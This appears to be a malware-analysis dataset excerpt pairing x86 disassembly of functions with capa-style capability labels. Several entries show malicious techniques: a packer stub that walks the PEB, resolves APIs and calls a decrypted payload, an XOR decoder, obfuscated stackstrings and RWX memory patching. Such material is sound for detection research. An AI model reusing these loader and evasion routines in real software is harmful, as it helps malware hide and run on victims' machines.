joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c0ea
Capabilities:
Stop service

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x40e004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov dword [ebp - 0x54], eax
xor esi, esi
mov eax, dword [ebp + 0x10]
mov ebx, edx
push edi
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp + 0x14]
push 0x2c
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x4c]
push esi
push eax
mov dword [ebp - 0x58], ecx
call sub.msvcrt.dll_memset
mov edi, dword [ebp + 8]
add esp, 0xc
cmp edi, 1
je 0x40c157
jbe 0x40c145
cmp edi, 3
jbe 0x40c153
cmp edi, 4
je 0x40c14c
cmp edi, 5
jbe 0x40c145
cmp edi, 0xa
jbe 0x40c153
mov eax, 0x100
jmp 0x40c15a
mov eax, 0x80
jmp 0x40c15a
push 0x40
jmp 0x40c159
push 0x20
pop eax
push eax
push ebx
push dword [ebp - 0x58]
call dword [sym.imp.api_ms_win_service_management_l1_1_0.dll_OpenServiceW]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
test eax, eax
jne 0x40c187
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov edx, eax
mov ecx, 0x401478
call fcn.0040889b
mov esi, eax
jmp 0x40c210
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x48], eax
call fcn.0040b669
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x54], esi
je 0x40c1d4
lea eax, [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x50]
push 1
push edi
push dword [eax]
call dword [sym.imp.api_ms_win_service_management_l1_1_0.dll_ControlServiceExW]
test eax, eax
jne 0x40c1cd
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov esi, eax
test esi, esi
je 0x40c1cd
mov ecx, 0x4041b0
mov edx, esi
call fcn.0040889b
jmp 0x40c210
lea eax, [ebp - 0x44]
push 0
jmp 0x40c200
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x50]
push edi
push dword [eax]
call dword [sym.imp.api_ms_win_service_winsvc_l1_1_0.dll_ControlService]
test eax, eax
jne 0x40c1fb
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
mov esi, eax
test esi, esi
je 0x40c1fb
mov ecx, 0x4041d4
jmp 0x40c1c4
lea eax, [ebp - 0x20]
push 1
mov dword [ebp - 0x50], eax
xor edx, edx
lea eax, [ebp - 0x50]
mov ecx, ebx
push eax
call fcn.004059c0
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405f50
mov esp, ebp
pop ebp
ret 0x10
Function at 0x65bf1070
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x20
lea eax, [esp]
push eax
mov dword [esp + 4], 0x20
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [esp + 0x18]
cmp eax, 0x80100000
jbe 0x65bf10a9
lea edx, [eax - 0x100000]
shr edx, 0x14
mov dword [0x65c00014], edx
jmp 0x65bf10af
mov edx, dword [0x65c00014]
push esi
xor cl, cl
push edi
mov dword [0x65c015c4], edx
xor eax, eax
mov esi, 0x65bfc48c
mov byte [eax + 0x65c005a8], cl
add eax, 1
cmp edx, 0x800
jle 0x65bf10e5
cmp eax, 0x800
jne 0x65bf10dc
mov cl, 2
jmp 0x65bf10e5
lea edi, [edx + 1]
cmp eax, edi
jne 0x65bf10e5
xor cl, cl
cmp eax, dword [esi - 4]
jne 0x65bf10c0
mov cl, byte [esi]
cmp cl, 0xff
je 0x65bf10f6
add esi, 8
jmp 0x65bf10c0
pop edi
pop esi
add esp, 0x20
ret
Function at 0x65bf13e0
Capabilities:
Parse pe header

Disassembly:
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov eax, dword [esi + 8]
lea edx, [esi + 0x20]
mov dword [esi], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
mov dword [esi + 0x1c], ebx
mov dword [edx], ebx
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x30], ebx
movzx ecx, word [eax]
cmp ecx, 0x184
jg 0x65bf1431
je 0x65bf1425
sub ecx, 0x14c
je 0x65bf1425
sub ecx, 0x1a
jne 0x65bf1441
mov dword [esi + 0xc], eax
mov dword [esi], 1
pop esi
pop ebx
ret
cmp ecx, 0x1f0
je 0x65bf1425
cmp ecx, 0x5a4d
je 0x65bf144a
mov dword [esi], 2
pop esi
pop ebx
ret
mov ecx, dword [eax + 0x3c]
add eax, ecx
mov dword [esi + 0x18], eax
add eax, 4
mov dword [esi + 0xc], eax
mov eax, dword [esi + 0x18]
add eax, 0x18
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0x18]
cmp dword [eax], 0x4550
je 0x65bf1475
mov dword [esi], 4
pop esi
pop ebx
ret
mov ecx, dword [esi + 0xc]
movzx ecx, word [ecx + 0x10]
push edi
lea eax, [ecx + eax + 0x18]
push edx
push ebx
mov ecx, esi
mov dword [esi + 0x14], eax
call fcn.65bf1570
mov edi, dword [esi + 0x10]
mov dword [esi + 0x1c], eax
cmp dword [edi + 0x5c], 1
jbe 0x65bf14bb
mov ecx, dword [esi + 0xc]
movzx edx, word [ecx + 0x10]
add edx, edi
lea eax, [edi + 0x70]
cmp eax, edx
ja 0x65bf14bb
mov eax, dword [edi + 0x68]
cmp eax, ebx
je 0x65bf14bb
push ebx
push eax
mov ecx, esi
call fcn.65bf15c0
jmp 0x65bf14bd
xor eax, eax
mov dword [esi + 0x2c], eax
cmp dword [edi + 0x5c], 0xd
jbe 0x65bf14ee
mov ecx, dword [esi + 0xc]
movzx edx, word [ecx + 0x10]
add edx, edi
lea eax, [edi + 0xd0]
cmp eax, edx
ja 0x65bf14ee
mov eax, dword [edi + 0xc8]
cmp eax, ebx
je 0x65bf14ee
push ebx
push eax
mov ecx, esi
call fcn.65bf15c0
jmp 0x65bf14f0
xor eax, eax
mov dword [esi + 0x30], eax
cmp dword [edi + 0x5c], 6
jbe 0x65bf1521
mov ecx, dword [esi + 0xc]
movzx edx, word [ecx + 0x10]
add edx, edi
lea eax, [edi + 0x98]
cmp eax, edx
ja 0x65bf1521
mov edi, dword [edi + 0x90]
cmp edi, ebx
je 0x65bf1521
push ebx
push edi
mov ecx, esi
call fcn.65bf15c0
jmp 0x65bf1523
xor eax, eax
cmp eax, ebx
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
pop edi
je 0x65bf154a
mov ecx, 3
mov eax, dword [esi + 0x28]
cmp dword [eax + 0x10], ebx
je 0x65bf154a
cmp dword [eax + 0xc], ecx
je 0x65bf154a
add eax, 0x1c
cmp eax, ebx
mov dword [esi + 0x28], eax
jne 0x65bf1533
mov eax, dword [esi + 0x28]
cmp eax, ebx
je 0x65bf142e
cmp dword [eax + 0x10], ebx
jne 0x65bf142e
mov dword [esi + 0x28], ebx
pop esi
pop ebx
ret
Function at 0x65bf2870
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x20
push esi
push edi
call fcn.65bf2970
test al, al
jne 0x65bf293e
mov edi, dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
lea eax, [esp + 8]
push eax
mov dword [esp + 0xc], 0x20
call edi
cmp dword [esp + 0x1c], 0xa00000
jae 0x65bf293e
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea esp, [esp]
push 1
push 0x1000
push 0xa00000
push 0
call esi
test eax, eax
jne 0x65bf2946
mov ecx, dword [0x65c0033c]
push ecx
push 0x15
push 0x11
push 5
mov ecx, 5
call fcn.65bf46e0
add esp, 0x10
cmp eax, 2
je 0x65bf295c
xor eax, eax
lea edx, [esp + 8]
mov dword [esp + 8], eax
push edx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0xc], 0x20
call edi
cmp dword [esp + 0x1c], 0xa00000
jb 0x65bf28d0
pop edi
mov al, 1
pop esi
add esp, 0x20
ret
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
mov al, 1
pop esi
add esp, 0x20
ret
pop edi
xor al, al
pop esi
add esp, 0x20
ret

Function at 0x65bf2970
Capabilities:
Accept command line arguments

Disassembly:
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
cmp word [esi], 0
je 0x65bf2a0b
mov edi, dword [sym.imp.MSVCR80.dll_wcsncmp]
lea ebx, [ebx]
movzx eax, word [esi]
cmp ax, 0x20
je 0x65bf299f
cmp ax, 9
jne 0x65bf29a4
add esi, 2
jmp 0x65bf2990
movzx eax, word [esi]
cmp ax, 0x2d
je 0x65bf29b3
cmp ax, 0x2f
jne 0x65bf29e7
push 9
add esi, 2
push str.Embedding
push esi
call edi
add esp, 0xc
test eax, eax
jne 0x65bf29e7
movzx eax, word [esi + 0x26]
add esi, 0x26
movzx ecx, ax
cmp cx, 0x20
je 0x65bf29e2
cmp cx, 9
je 0x65bf29e2
test ax, ax
jne 0x65bf29f0
pop edi
mov al, 1
pop esi
ret
movzx eax, word [esi]
test ax, ax
je 0x65bf2a0b
nop
movzx eax, ax
cmp ax, 0x20
je 0x65bf2a10
cmp ax, 9
je 0x65bf2a10
movzx eax, word [esi + 2]
add esi, 2
test ax, ax
jne 0x65bf29f0
pop edi
xor al, al
pop esi
ret
cmp word [esi], 0
jne 0x65bf2990
pop edi
xor al, al
pop esi
ret

Function at 0x65bf2c10
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x65bf2c4b
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x65bf2c32
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x65bf2c43
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x65bf2c4d
inc edi
add eax, 0x28
cmp edi, esi
jb 0x65bf2c28
xor eax, eax
pop edi
pop esi
ret
Function at 0x65bf2fb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
popfd
and dh, al
inc ebp
sahf
sub eax, 0x119f45c6
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.65bf2be0
push eax
push esi
push dword [ebp + 8]
call fcn.65bf2b95
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.65bf2be0
push eax
push esi
push dword [ebp + 8]
call fcn.65bf2b95
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.65bf2bd0
fistp qword [ecx]
lcall 0xffff, 0x7c9d889a
dec dword [eax - 0x8263]
inc esi
test dword [esi - 1], edi
invalid

Function at 0x65bf3aa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x12c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.65bf2bae
or byte [eax + 0x2ff845c6], ah
mov al, byte [0x2ff845c6]
Function at 0x65bf3af0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov al, byte [0x2ff845c6]
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
push es
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.65bf2be0
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.65bf2b95
add esp, 0xc
mov dword [ebp - 0x3d4], eax
cld
invalid
invalid
call fcn.65bf2bd0
movsd dword es:[edi], dword [esi]
das
xlatb
inc ebp
push 0x104
lea eax, [ebp - 0x12c]
push eax
call dword [ebp - 0x3d4]
mov dword [ebp - 0x28], eax
call fcn.65bf2bd0
leave
jg 0x65bf3c49
xchg edx, eax
and byte [ebp - 0x20], 0
and byte [ebp - 0x1f], 0
mov byte [ebp - 0x1e], 0x1d
and byte [ebp - 0x1d], 0
mov byte [ebp - 0x1c], 0xa5
mov byte [ebp - 0x1b], 0x87
mov byte [ebp - 0x1a], 0x96
mov byte [ebp - 0x19], 0xb6
mov byte [ebp - 0x18], 0x87
mov byte [ebp - 0x17], 0x8f
mov byte [ebp - 0x16], 0x92
mov byte [ebp - 0x15], 0xb2
mov byte [ebp - 0x14], 0x83
mov byte [ebp - 0x13], 0x96
mov byte [ebp - 0x12], 0x8a
mov byte [ebp - 0x11], 0xa3
mov byte [ebp - 0x10], 0xe2
lea eax, [ebp - 0x20]
push eax
call fcn.65bf2be0
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.65bf2b95
add esp, 0xc
mov dword [ebp - 0x370], eax
lea eax, [ebp - 0x654]
stc
invalid
call dword [eax + 0x68]
add al, 1
add byte [eax], al
call dword [ebp - 0x370]
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0x28]
movsx eax, byte [ebp + eax - 0x12d]
cmp eax, 0x5c
jne 0x65bf3c7c
nop
cld
invalid
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x550]
movsx eax, byte [ebp + eax - 0x655]
cmp eax, 0x5c
jne 0x65bf3c9c
mov eax, dword [ebp - 0x550]
dec eax
mov dword [ebp - 0x550], eax
and dword [ebp - 0x338], 0
and dword [ebp - 0x3d0], 0
jmp 0x65bf3cb9
invalid
test dword [eax], esi
cld

Function at 0x65bf4590
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jne 0x65bf474b
and byte [ebp - 0x77c], 0
invalid
movsd dword es:[edi], dword [esi]
invalid
Function at 0x65bf74b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x65bfd498
push 0x65bfa14c
mov eax, dword fs:[0]
push eax
sub esp, 0x40
push ebx
push esi
push edi
mov eax, dword [0x65c00300]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, ecx
mov dword [ebp - 0x1c], esi
cmp dword [ebp + 8], 1
jne 0x65bf74f8
lea eax, [esi + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [esi + 0x20]
mov dword [ebp - 0x28], edi
push 0x1c
lea ecx, [ebp - 0x50]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x24], edx
lea eax, [ebp - 0x20]
push eax
push 0x40
push 8
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x65bf75e4
xor ebx, ebx
mov dword [ebp - 4], ebx
mov word [ebp - 0x34], bx
mov dword [ebp - 0x32], ebx
mov word [ebp - 0x2e], bx
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
mov dword [ebp - 0x34], ecx
mov edx, dword [eax + 4]
mov dword [ebp - 0x30], edx
push 8
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call edi
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
xor eax, eax
lea ebx, [ebx]
cmp eax, 3
jge 0x65bf7585
lea eax, [ebp - 0x2c]
push eax
push 8
lea ecx, [esi + 4]
push ecx
mov edx, dword [esi + 0x20]
push edx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp eax, ebx
jg 0x65bf7585
add eax, 1
jmp 0x65bf7560
push 8
mov eax, dword [esi + 0x20]
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov ecx, dword [ebp - 0x34]
mov dword [esi + 4], ecx
mov edx, dword [ebp - 0x30]
mov dword [esi + 8], edx
xor dword [esi + 0x1c], 1
mov dword [ebp - 4], 0xfffffffe
jmp 0x65bf75c0
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
push 8
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [ebp + 8], 2
jne 0x65bf75e4
add esi, 0x24
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x65bf78e0
Capabilities:
Check os version

Disassembly:
sub esp, 0x2a8
mov eax, dword [0x65c00300]
xor eax, esp
mov dword [esp + 0x2a4], eax
push esi
xor eax, eax
push edi
mov edi, dword [esp + 0x2b8]
mov esi, ecx
mov ecx, dword [esp + 0x2b4]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
push ecx
lea eax, [esp + 0x170]
push eax
mov dword [esp + 0x18], 0x65bfc68c
mov dword [esp + 0x1c], str.acdb17.dll
mov dword [esp + 0x20], 0x65bfc65c
call fcn.65bf82e0
lea ecx, [esp + 0x1b4]
push edi
push ecx
call fcn.65bf82e0
xor eax, eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
add esp, 0x10
mov dword [esi + 0x1c], eax
lea edx, [esp + 0x16c]
mov dword [esi + 0x20], eax
push edx
mov dword [esi + 0x24], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x28], 1
mov dword [esp + 0x2c], edi
call fcn.65bf13e0
lea eax, [esp + 0x1ac]
push eax
lea ecx, [esp + 0x28]
call fcn.65bf1680
test eax, eax
mov dword [esi], eax
jne 0x65bf79d8
push 0x114
push eax
lea ecx, [esp + 0x60]
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea edx, [esp + 0x58]
push edx
mov dword [esp + 0x5c], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [esp + 0x68], 1
jne 0x65bf79cf
lea eax, [esp + 0x1ac]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi], eax
cmp dword [esi], 0
je 0x65bf7aca
mov eax, dword [esi]
mov ecx, dword [eax]
mov dword [esi + 4], ecx
mov edx, dword [eax + 4]
mov dword [esi + 8], edx
mov ecx, dword [eax + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esi + 0xc], ecx
mov edx, dword [eax + 0xc]
push ebp
push 0
mov dword [esi + 0x10], edx
call ebx
push 2
mov edi, eax
push 0x65c015cc
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
seta al
lea ecx, [esp + 0x2c]
mov byte [esp + 0x30], al
mov dword [esp + 0x34], edi
call fcn.65bf13e0
lea ecx, [esp + 0x14]
push ecx
push 0
lea edx, [esp + 0x1bc]
push edx
lea eax, [esp + 0x180]
push eax
lea ecx, [esp + 0x3c]
call fcn.65bf7810
test al, al
je 0x65bf7a4e
mov ecx, dword [esp + 0x14]
mov dword [esi + 0x14], ecx
lea edx, [esi + 0x18]
mov ebp, 1
mov dword [esp + 0x10], edx
lea ebx, [ebx]
mov eax, dword [esp + ebp*4 + 0x18]
push eax
call ebx
push 2
mov edi, eax
push 0x65c015cc
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
seta cl
mov byte [esp + 0x30], cl
lea ecx, [esp + 0x2c]
mov dword [esp + 0x34], edi
call fcn.65bf13e0
lea edx, [esp + 0x14]
push edx
push 0
lea eax, [esp + 0x1bc]
push eax
lea ecx, [esp + 0x180]
push ecx
lea ecx, [esp + 0x3c]
call fcn.65bf7810
test al, al
je 0x65bf7abb
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
mov dword [eax], edx
add dword [esp + 0x10], 4
add ebp, 1
cmp ebp, 5
jl 0x65bf7a60
pop ebp
pop ebx
mov ecx, dword [esp + 0x2ac]
pop edi
mov eax, esi
pop esi
xor ecx, esp
call fcn.65bfa00c
add esp, 0x2a8
ret 8
Function at 0x65bf8f10
Capabilities:
Terminate process

Disassembly:
sub esp, 0x194
mov eax, dword [0x65c00300]
xor eax, esp
mov dword [esp + 0x190], eax
cmp byte [0x65c01adc], 0
mov eax, 3
jne 0x65bf8fae
mov byte [0x65c01adc], 1
xor eax, eax
jmp 0x65bf8f40
movzx ecx, word [eax + str.Fatal_Winwatch_Error:]
mov word [esp + eax], cx
add eax, 2
test cx, cx
jne 0x65bf8f40
lea eax, [esp]
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x65bf8f60
push esi
sub eax, edx
mov edx, dword [esp + 0x19c]
push edi
lea ecx, [esp + 0x1a4]
push ecx
sar eax, 1
push edx
lea eax, [esp + eax*2 + 0x10]
push eax
call dword [sym.imp.MSVCR80.dll__vswprintf]
push 1
push 0x12
mov edi, 0xc8
lea esi, [esp + 0x1c]
call fcn.65bf8de0
add esp, 0x14
cmp eax, 5
pop edi
pop esi
je 0x65bf8fae
cmp eax, 4
jne 0x65bf8fae
int3
cmp eax, 3
mov byte [0x65c01adc], 0
jne 0x65bf8fc2
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [esp + 0x190]
xor ecx, esp
call fcn.65bfa00c
add esp, 0x194
ret

Function at 0x65bfa00c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x65c00300]
jne 0x65bfa016
repz ret
jmp fcn.65bfa4cf
Function at 0x4017c4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x404004]
jne 0x4017ce
repz ret
jmp fcn.00401b99

Function at 0x1e3b3f8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1e3b402
pushal
call 0x1e3b408
pop ebp
sub ebp, 0x10
sub ebp, 0x1a3b3f8
jmp 0x1e3b41e
mov eax, 0x1a3b3f8
add eax, ebp
add eax, 0x4c
mov ecx, 0x587
mov edx, 0xd4bbd4fc
xor byte [eax], dl
inc eax
dec ecx
jne 0x1e3b435
jmp 0x1e3b448
ja 0x1e3b47b
ja 0x1e3b4c1
sar ah, 0xfc
cld
jge 0x1e3b48f
add al, 0xfc
cld
cld
push dword [ecx]
inc esp
stc
cld
cld
cld
inc esi
aam 0xfc
cld
cld
or ebx, dword [esi]
push dword [edi + esi*2]
jge 0x1e3b459
cld
cld
cld
invalid
rcr al, 1
xchg esp, eax
pop es
push esi
stosb byte es:[edi], al
adc al, 0xf9
cld
cld
cld
adc eax, 0xfcfcfcd4
test eax, 0x79771077
ja 0x1e3b50a
hlt
in al, dx
in al, dx
fdiv st(4), st(0)
xchg esp, eax
adc al, 0x5f
pop edi
jg 0x1e3b4c2
std
std
rcr al, 1
lodsd eax, dword [esi]
adc al, 0xf9
cld
cld
cld
adc eax, 0xfcfcfeb7
test eax, 0x8903a1a8
lock add ecx, dword [ecx - 0x37deb0c]
cld
cld
ja 0x1e3b524
hlt
jg 0x1e3b519
stc
mov ah, 0xf3
js 0x1e3b4bc
cld
cld
cld
je 0x1e3b4c4
cld
cld
cld
lcall 0x1407, 0x7cc5e077
js 0x1e3b503
adc al, 0xf3
js 0x1e3b503
cld
cld
cld
jl 0x1e3b529
adc eax, 0xfced78f3
js 0x1e3b513
cld
cld
cld
lcall 0x78f3, 0xd903077d
jmp 0xbfe0b231
Function at 0x4011c6
Capabilities:
Access peb ldr_data
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
call fcn.0040114f
call section..text
movzx eax, al
cmp eax, 1
jne 0x4011e9
push 5
pop eax
jmp 0x4013b8
and dword [ebp - 0x40], 0
and dword [ebp - 0xc], 0
and dword [ebp - 0x30], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x24], 0
and dword [ebp - 0x44], 0
and dword [ebp - 8], 0
and dword [ebp - 0x18], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x20], 0
mov dword [ebp - 0x2c], 0x330
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ebx, eax
add ebx, 0xc
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x30]
mov ecx, 0x18
xor esi, esi
xor ebx, ebx
add bl, byte [edi + ecx - 1]
add esi, ebx
loop 0x401234
cmp esi, dword [ebp - 0x2c]
je 0x401249
mov eax, dword [eax]
cmp eax, ebx
jne 0x40122a
mov eax, dword [eax + 0x18]
mov dword [ebp - 8], eax
nop
popal
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x41aee4
push dword [0x41aec8]
push 0x41aecc
push dword [0x41aee4]
push 0x41aee8
call fcn.0040102b
add esp, 0x14
push 0x41aee8
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x30], eax
push 0x41af04
push dword [0x41aec8]
push 0x41aecc
push dword [0x41af04]
push 0x41af08
call fcn.0040102b
add esp, 0x14
push 0x41af08
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
push 0x41af24
push dword [0x41aec8]
push 0x41aecc
push dword [0x41af24]
push 0x41af28
call fcn.0040102b
add esp, 0x14
push 0x41af28
push dword [ebp - 8]
call dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [0x404030]
mov dword [ebp - 0x10], eax
push 4
push 0x1000
mov eax, dword [ebp - 0x10]
inc eax
push eax
push 0
call dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0x404038
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x10]
push eax
push dword [section..data]
push 0x404004
push dword [ebp - 0x10]
push dword [ebp - 4]
call fcn.0040102b
add esp, 0x14
mov dword [ebp - 4], eax
and dword [ebp - 0x34], 0
lea eax, [ebp - 0x34]
push eax
push 0x20
push dword [0x404030]
push dword [ebp - 4]
call dword [ebp - 0x24]
push 0x404704
push dword [0x404034]
push 0x4046d8
push dword [0x404704]
push 0x404708
call fcn.0040102b
add esp, 0x14
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
mov dword [0x41af7c], eax
and dword [ebp - 0x28], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx + eax]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 1
push dword [ebp - 0x28]
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call dword [0x41af7c]
